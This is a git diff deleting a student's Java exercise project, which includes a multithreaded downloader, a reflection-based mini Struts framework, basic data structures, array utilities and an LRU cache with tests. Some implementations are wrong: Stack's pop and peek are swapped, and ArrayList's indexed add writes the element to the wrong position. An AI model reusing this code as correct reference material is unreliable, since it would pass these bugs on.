-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java b/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java
deleted file mode 100644
index 15534af093..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/api/Connection.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.coderising.download.api;
-
-import java.io.IOException;
-import java.net.HttpURLConnection;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-	
-	public void setConnection(HttpURLConnection conn);
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
deleted file mode 100644
index 112d1156e8..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionException.java
+++ /dev/null
@@ -1,8 +0,0 @@
-package com.coderising.download.api;
-
-public class ConnectionException extends Exception {
-	
-	public ConnectionException(Exception e){
-		super(e);
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java b/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java
deleted file mode 100644
index ce045393b1..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coderising.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java b/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java
deleted file mode 100644
index bf9807b307..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
deleted file mode 100644
index e7a8b1ef1e..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.net.HttpURLConnection;
-
-import com.coderising.download.api.Connection;
-
-public class ConnectionImpl implements Connection{
-	
-	private HttpURLConnection conn;
-	
-	private InputStream inputStream;
-	
-	private ByteArrayOutputStream outputStream;
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		byte[] bytes = new byte[1024];
-		conn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
-		inputStream = conn.getInputStream();
-		outputStream = new ByteArrayOutputStream();
-		int n = 0;
-		while((n = inputStream.read(bytes)) != -1){
-			outputStream.write(bytes, 0, n);
-		}
-		return outputStream.toByteArray();
-	}
-
-	@Override
-	public int getContentLength() {
-		return conn.getContentLength();
-	}
-
-	@Override
-	public void close() {
-		conn.disconnect();
-		if(inputStream != null){
-			try {
-				inputStream.close();
-			} catch (IOException e) {
-				e.printStackTrace();
-			}
-		}
-		if(outputStream != null){
-			try {
-				outputStream.close();
-			} catch (IOException e) {
-				e.printStackTrace();
-			}
-		}
-	}
-
-	public HttpURLConnection getConnection() {
-		return conn;
-	}
-
-	public void setConnection(HttpURLConnection conn) {
-		this.conn = conn;
-	}
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 9d9c2af144..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.IOException;
-import java.net.HttpURLConnection;
-import java.net.URL;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		Connection connection = new ConnectionImpl();
-		try {
-			URL u = new URL(url);
-			HttpURLConnection conn = (HttpURLConnection)u.openConnection();
-			connection.setConnection(conn);
-		} catch (IOException e) {
-			e.printStackTrace();
-		}
-		return connection;
-	}
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java
deleted file mode 100644
index dcdbe226ed..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/litestruts/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.litestruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java
deleted file mode 100644
index 7757668834..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/litestruts/Struts.java
+++ /dev/null
@@ -1,181 +0,0 @@
-package com.coderising.litestruts;
-
-import java.io.File;
-import java.lang.reflect.Method;
-import java.util.HashMap;
-import java.util.Iterator;
-import java.util.Map;
-
-import org.dom4j.Document;
-import org.dom4j.DocumentException;
-import org.dom4j.Element;
-import org.dom4j.io.SAXReader;
-
-public class Struts {
-	
-	private final static Map<String, Action> actions = new HashMap<String, Action>();
-	
-    @SuppressWarnings("rawtypes")
-	public static View runAction(String actionName, Map<String,String> parameters) throws Exception {
-
-        /*
-         
-		0. 读取配置文件struts.xml
- 		
- 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-		("name"="test" ,  "password"="1234") ,     	
-		那就应该调用 setName和setPassword方法
-		
-		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-		
-		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
-		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
-		放到View对象的parameters
-		
-		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
-		放到View对象的jsp字段中。
-        
-        */
-    	//读取xml，把xml信息放到actions
-    	readStrutsXML();
-    	
-    	Action action = actions.get(actionName);
-    	View view = new View();
-    	if(action != null){
-			Class clazz = Class.forName(action.getClassName());
-    		Object obj = clazz.newInstance();
-    		
-    		//根据parameters调用set方法
-    		initClass(clazz, obj, action, parameters);
-    		
-    		//调用execute方法
-    		String result = execute(clazz, obj);
-    		//调用所有get方法
-    		Map resultParameters = getResultParameters(clazz, obj);
-    		
-    		view.setJsp(action.getResults().get(result));
-    		view.setParameters(resultParameters);
-    	}
-    
-    	return view;
-    }
-
-	@SuppressWarnings("rawtypes")
-	private static Map getResultParameters(Class clazz, Object obj) throws Exception {
-		Map<String, String> resultParameters = new HashMap<String, String>();
-		Method[] methods = clazz.getMethods();
-		String methodName;
-		String propName;
-		String propValue;
-		for(Method method : methods){
-			methodName = method.getName();
-			if(methodName.startsWith("get") && !"getClass".equals(methodName)){
-				propName = firstLetterLowerCase(methodName.substring(3, methodName.length()));
-				propValue = (String) method.invoke(obj);
-				resultParameters.put(propName, propValue);
-			}
-		}
-		return resultParameters;
-	}
-
-	@SuppressWarnings({ "unchecked", "rawtypes" })
-	private static String execute(Class clazz, Object obj) throws Exception{
-		Method method = clazz.getMethod("execute");
-		return (String)method.invoke(obj);
-	}
-
-	@SuppressWarnings({ "unchecked", "rawtypes" })
-	private static void initClass(Class clazz, Object obj, Action action, Map<String, String> parameters) throws Exception {
-		String setMethodName;
-		Method method = null;
-		for (String parameter : parameters.keySet()) {
-			setMethodName = "set" + firstLetterUpperCase(parameter);
-			method = clazz.getMethod(setMethodName, String.class);
-			method.invoke(obj, parameters.get(parameter));
-		}
-	}
-	
-	private static String firstLetterLowerCase(String string){
-		char[] cs = string.toCharArray();
-		cs[0] += 32;
-		return String.valueOf(cs);
-	}
-	
-	private static String firstLetterUpperCase(String string){
-		char[] cs = string.toCharArray();
-		cs[0] -= 32;
-		return String.valueOf(cs);
-	}
-
-	@SuppressWarnings("unchecked")
-	private static void readStrutsXML() {
-		SAXReader saxReader = new SAXReader();
-		Document document;
-		try {
-			document = saxReader.read(new File("src/com/coderising/litestruts/struts.xml"));
-		} catch (DocumentException e) {
-			System.out.println("error:file not found");
-			return ;
-		}
-		Element root = document.getRootElement();
-		Iterator<Element> actionItr = root.elementIterator();
-		Element action;
-		Action act;
-		Iterator<Element> resultItr;
-		Element result;
-		Map<String, String> results;
-		while(actionItr.hasNext()){
-			action = actionItr.next();
-			
-			resultItr = action.elementIterator();
-			results = new HashMap<String, String>();
-			while(resultItr.hasNext()){
-				result = resultItr.next();
-				results.put(result.attributeValue("name"), result.getStringValue());
-			}
-			
-			act = new Action();
-			act.setName(action.attributeValue("name"));
-			act.setClassName(action.attributeValue("class"));
-			act.setResults(results);
-			
-			actions.put(act.getName(), act);
-		}
-	}    
-	
-	static class Action {
-		
-		private String name;
-		
-		private String className;
-		
-		private Map<String, String> results = new HashMap<>();
-		
-		public Map<String, String> getResults() {
-			return results;
-		}
-
-		public void setResults(Map<String, String> results) {
-			this.results = results;
-		}
-
-		public String getName() {
-			return name;
-		}
-
-		public void setName(String name) {
-			this.name = name;
-		}
-
-		public String getClassName() {
-			return className;
-		}
-
-		public void setClassName(String className) {
-			this.className = className;
-		}
-
-	}
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java
deleted file mode 100644
index 92a6758a69..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() throws Exception {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() throws Exception {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java b/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java
deleted file mode 100644
index 07df2a5dab..0000000000
--- a/group23/1028361767/data-structure/src/com/coderising/litestruts/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java b/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java
deleted file mode 100644
index dced34e873..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/BinaryTreeNode.java
+++ /dev/null
@@ -1,97 +0,0 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-
-    private Object data;
-    private BinaryTreeNode left;
-    private BinaryTreeNode right;
-    private BinaryTreeNode parent;
-
-    public BinaryTreeNode(Object data) {
-        this.data = data;
-    }
-
-    public Object getData() {
-        return data;
-    }
-
-    public void setData(Object data) {
-        this.data = data;
-    }
-
-    public BinaryTreeNode getLeft() {
-        return left;
-    }
-
-    public void setLeft(BinaryTreeNode left) {
-        this.left = left;
-    }
-
-    public BinaryTreeNode getRight() {
-        return right;
-    }
-
-    public void setRight(BinaryTreeNode right) {
-        this.right = right;
-    }
-
-    public void setParent(BinaryTreeNode parent) {
-        this.parent = parent;
-    }
-
-    public BinaryTreeNode getParent() {
-        return parent;
-    }
-
-    public BinaryTreeNode insert(Object o) {
-        BinaryTreeNode newNode = new BinaryTreeNode(o);
-        BinaryTreeNode root = findRoot(this);
-        if (root.data == null) {
-            root.data = newNode;
-        } else {
-            int newVal = getNodeIntVal(newNode);
-            insert(root, newNode, newVal);
-        }
-        return newNode;
-    }
-
-    private void insert(BinaryTreeNode node, BinaryTreeNode newNode, int newVal) {
-        int nodeVal = getNodeIntVal(node);
-        if (newVal < nodeVal) {
-            if (node.left == null) {
-                newNode.parent = node;
-                node.left = newNode;
-            } else {
-                insert(node.left, newNode, newVal);
-            }
-        } else {
-            if (node.right == null) {
-                newNode.parent = node;
-                node.right = newNode;
-            } else {
-                insert(node.right, newNode, newVal);
-            }
-        }
-    }
-
-    private BinaryTreeNode findRoot(BinaryTreeNode binaryTreeNode) {
-        while (binaryTreeNode.parent != null) {
-            binaryTreeNode = binaryTreeNode.parent;
-        }
-        return binaryTreeNode;
-    }
-
-    private int getNodeIntVal(BinaryTreeNode node) {
-        if (node.data instanceof Integer) {
-            return ((Integer) node.data).intValue();
-        }
-        return 0;
-    }
-
-    public int getDataIntVal() {
-        if (data instanceof Integer) {
-            return ((Integer) data).intValue();
-        }
-        return 0;
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java b/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java
deleted file mode 100644
index 96adcd6d3a..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/Iterator.java
+++ /dev/null
@@ -1,8 +0,0 @@
-package com.coding.basic;
-
-public interface Iterator {
-    public boolean hasNext();
-
-    public Object next();
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/List.java b/group23/1028361767/data-structure/src/com/coding/basic/List.java
deleted file mode 100644
index 01398944e6..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/List.java
+++ /dev/null
@@ -1,13 +0,0 @@
-package com.coding.basic;
-
-public interface List {
-    public void add(Object o);
-
-    public void add(int index, Object o);
-
-    public Object get(int index);
-
-    public Object remove(int index);
-
-    public int size();
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/Queue.java b/group23/1028361767/data-structure/src/com/coding/basic/Queue.java
deleted file mode 100644
index ddd1b74d90..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/Queue.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coding.basic;
-
-import com.coding.basic.linklist.LinkedList;
-
-public class Queue {
-
-    private LinkedList linkedList = new LinkedList();
-
-    public void enQueue(Object o) {
-        linkedList.add(o);
-    }
-
-    public Object deQueue() {
-        return linkedList.removeFirst();
-    }
-
-    public boolean isEmpty() {
-        return linkedList.size() == 0;
-    }
-
-    public int size() {
-        return linkedList.size();
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/Stack.java b/group23/1028361767/data-structure/src/com/coding/basic/Stack.java
deleted file mode 100644
index a98f5d76a5..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/Stack.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.coding.basic;
-
-import java.util.EmptyStackException;
-
-import com.coding.basic.array.ArrayList;
-
-public class Stack {
-    private ArrayList elementData = new ArrayList();
-
-    public void push(Object o) {
-        elementData.add(o);
-    }
-
-    public Object pop() {
-        checkBound();
-        return elementData.get(size() - 1);
-    }
-
-    public Object peek() {
-        checkBound();
-        return elementData.remove(size() - 1);
-    }
-
-    public boolean isEmpty() {
-        return size() == 0;
-    }
-
-    public int size() {
-        return elementData.size();
-    }
-
-    private void checkBound() {
-        if (isEmpty()) {
-            throw new EmptyStackException();
-        }
-    }
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
deleted file mode 100644
index 43bdae82fa..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayList.java
+++ /dev/null
@@ -1,83 +0,0 @@
-package com.coding.basic.array;
-
-import java.util.Arrays;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
-
-public class ArrayList implements List {
-
-    private int size = 0;
-
-    private int HALF_MAX_VALUE = Integer.MAX_VALUE;
-
-    private Object[] elementData = new Object[100];
-
-    public void add(Object o) {
-        if (noSpace()) {
-            elementData = grow();
-        }
-        elementData[size++] = o;
-    }
-
-    public void add(int index, Object o) {
-        if (index < 0) {
-            throw new IllegalArgumentException("index must be positive integer");
-        }
-        if (index > size) {
-            throw new IndexOutOfBoundsException("size is" + size);
-        }
-        if (noSpace()) {
-            elementData = grow();
-        }
-        System.arraycopy(elementData, index, elementData, index + 1, size - index);
-        elementData[size++] = o;
-    }
-
-    public Object get(int index) {
-        if (index < 0) {
-            throw new IllegalArgumentException("index must be positive integer");
-        }
-        if (index > (size - 1)) {
-            throw new IndexOutOfBoundsException("size is" + size);
-        }
-        return elementData[index];
-    }
-
-    public Object remove(int index) {
-        if (index < 0) {
-            throw new IllegalArgumentException("index must be positive integer");
-        }
-        if (index > (size - 1)) {
-            throw new IndexOutOfBoundsException("size is" + size);
-        }
-        Object obj = elementData[index];
-        System.arraycopy(elementData, index + 1, elementData, index, size - index);
-        elementData[size-1] = null;
-        size--;
-        return obj;
-    }
-
-    public int size() {
-        return size;
-    }
-
-    public Iterator iterator() {
-        return null;
-    }
-
-    private boolean noSpace() {
-        return size == elementData.length;
-    }
-
-    private Object[] grow() {
-        int newSize;
-        if (size < HALF_MAX_VALUE) {
-            newSize = size * 2;
-        } else {
-            newSize = Integer.MAX_VALUE;
-        }
-        return Arrays.copyOf(elementData, newSize);
-    }
-
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java b/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
deleted file mode 100644
index 8e1b170dc0..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/array/ArrayUtil.java
+++ /dev/null
@@ -1,210 +0,0 @@
-package com.coding.basic.array;
-
-import java.util.Arrays;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public int[] reverseArray(int[] origin){
-		int len = origin.length;
-		int[] ret = new int[len];
-		for(int i=0;i<len;i++){
-			ret[i] = origin[len-i-1];
-		}
-		origin = null;
-		return ret;
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	
-	public int[] removeZero(int[] oldArray){
-		int[] ret = new int[oldArray.length];
-		int zeroNum = 0;
-		int tmp;
-		int retIndex = 0;
-		for(int i=0;i<oldArray.length;i++){
-			tmp = oldArray[i];
-			if(tmp == 0){
-				zeroNum++;
-			}else{
-				ret[retIndex++] = tmp;
-			}
-		}
-		if(zeroNum == 0){
-			return oldArray;
-		}else{
-			return Arrays.copyOf(ret, retIndex);
-		}
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	public int[] merge(int[] array1, int[] array2){
-		int[] ret = new int[array1.length + array2.length];
-		int i1 = 0, i2 = 0;
-		int val1, val2;
-		int sameNum = 0;
-		int len1 = array1.length-1, len2 = array2.length -1;
-		for(int i=0;i<ret.length;){
-			if(i1 <= len1 && i2 <= len2){
-				val1 = array1[i1];
-				val2 = array2[i2];
-				if(val1 < val2){
-					ret[i++] = val1;
-					i1++;
-				}else if(val1 == val2){
-					sameNum++;
-					i2++;
-				}else{
-					ret[i++] = val2;
-					i2++;
-				}
-			}else{
-				if(i1 > len1 && i2 > len2){
-					break;
-				}else if(i1 > len1){
-					ret[i++] = array2[i2++];
-				}else{
-					ret[i++] = array1[i1++];
-				}
-			}
-				
-		}
-		if(sameNum > 0){
-			ret = Arrays.copyOf(ret, ret.length - sameNum);
-		}
-		return ret;
-	}
-	
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-		return Arrays.copyOf(oldArray, oldArray.length + size);
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max){
-		if(max == 1){
-			return new int[0];
-		}else{
-			int[] tmp = new int[max + 1];
-			int x1 = 1, x2 = 1;
-			int i = 1, j = 0;
-			tmp[j++] = x1;
-			tmp[j++] = x2;
-			while(true){
-				i = x1 + x2;
-				if(i > max){
-					break;
-				}
-				x1 = x2;
-				x2 = i;
-				tmp[j++] = i;
-			}
-			return Arrays.copyOf(tmp, j);
-		}
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max){
-		int[] tmp = new int[max/2 + 1];
-		boolean isPrime;
-		int k = 0;
-		for(int i=2;i<max;i++){
-			isPrime = true;
-			for(int j=2;j<i;j++){
-				if(i % j == 0 && i != j){
-					isPrime = false;
-					break;
-				}
-			}
-			if(isPrime){
-				tmp[k++] = i;
-			}
-		}
-		return Arrays.copyOf(tmp, k);
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-		if(max < 3){
-			return new int[0];
-		}
-		int[] tmp = new int[max/6];
-		int[] factors;
-		int i = 0, l, sum;
-		for(int j=2;j<max;j++){
-			l = 0;sum = 1;
-			factors = new int[j];
-			for(int k=2;k<j;k++){
-				if(j % k == 0 && j != k){
-					factors[l++] = k;
-				}
-			}
-			for(int m=0;m<l;m++){
-				sum += factors[m];
-			}
-			if(sum == j){
-				tmp[i++] = j;
-			}
-		}
-		return Arrays.copyOf(tmp, i);
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-		StringBuilder sb = new StringBuilder();
-		for (int i = 0; i < array.length; i++) {
-			sb.append(array[i]).append(seperator);
-		}
-		return sb.length() == 0? "" : sb.substring(0, sb.length() - 1);
-	}
-	
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
deleted file mode 100644
index 50bfb30412..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrame.java
+++ /dev/null
@@ -1,112 +0,0 @@
-package com.coding.basic.linklist;
-
-/**
- * 用双向链表实现LRU算法
- * @author liuxin
- *
- */
-public class LRUPageFrame {
-	
-	private static class Node {
-		
-		Node prev;
-		Node next;
-		int pageNum;
-
-		Node(int pageNum) {
-			this.pageNum = pageNum;
-		}
-	}
-
-	private int capacity;
-	
-	
-	private Node first;// 链表头
-	private Node last;// 链表尾
-	
-	private int size;
-
-	
-	public LRUPageFrame(int capacity) {
-		
-		this.capacity = capacity;
-		
-	}
-
-	/**
-	 * 获取缓存中对象
-	 * 
-	 * @param key
-	 * @return
-	 */
-	public void access(int pageNum) {
-		/**
-		 * 1、链表为空，直接插入first
-		 * 2、链表未满，往链尾追加
-		 * 3、链表已满，判断链表中是否存在pageNum，若存在，把pageNum，移到链尾；若不存在，把链头删除，把pageNum追加到链尾
-		 */
-		Node newNode = new Node(pageNum);
-		if(size < capacity){
-			if(size == 0){
-				first = newNode;
-			}else{
-				last.next = newNode;
-				newNode.prev = last;
-			}
-			last = newNode;
-			size++;
-			return ;
-		}
-		Node existNode = null;
-		Node tmp = first;
-		do{
-			if(tmp.pageNum == pageNum){
-				existNode = tmp;
-			}
-			tmp = tmp.next;
-		}while(tmp != null);
-		if(existNode == null || existNode == first){
-			tmp = first.next;
-			tmp.prev = null;
-			first = tmp;//链首变为链首后一个节点
-			last.next = newNode;
-			newNode.prev = last;
-			last = newNode;//链尾追加新节点
-		}else if(existNode == last){
-				return ;
-		}else{
-			/**
-			 * 已存在节点的上一个节点的下一个节点指向已存在节点的下一个节点
-			 * 
-			 */
-			Node prev = existNode.prev;
-			Node next = existNode.next;
-			prev.next = next;
-			next.prev = prev;
-			if(prev.prev == null){
-				first = prev;
-			}
-			newNode.prev = last;
-			last.next = newNode;
-			last = newNode;
-			existNode = null;
-		}
-	}
-	
-	
-
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = last;
-		while(node != null){
-			buffer.append(node.pageNum);			
-			
-			node = node.prev;
-			if(node != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-	
-}
diff --git a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
deleted file mode 100644
index c4645c6869..0000000000
--- a/group23/1028361767/data-structure/src/com/coding/basic/linklist/LRUPageFrameTest.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coding.basic.linklist;
-
-import  org.junit.Assert;
-
-import org.junit.Test;
-
-
-public class LRUPageFrameTest {
-	
-	@Test
-	public void testAccess() {
-		LRUPageFrame frame = new LRUPageFrame(3);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-		Assert.assertEquals("1,0,7", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,1,0", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2", frame.toString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-	}
-	
-	@Test
-	public void testAccessCustom() {
-		LRUPageFrame frame = new LRUPageFrame(5);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-		frame.access(5);
-		frame.access(3);
-		Assert.assertEquals("3,5,1,0,7", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,3,5,1,0", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,3,5,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,3,5,1", frame.toString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2,5,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2,5,1", frame.toString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3,2,5", frame.toString());
-		frame.access(5);
-		Assert.assertEquals("5,4,0,3,2", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,5,4,0,3", frame.toString());
-	}
-}
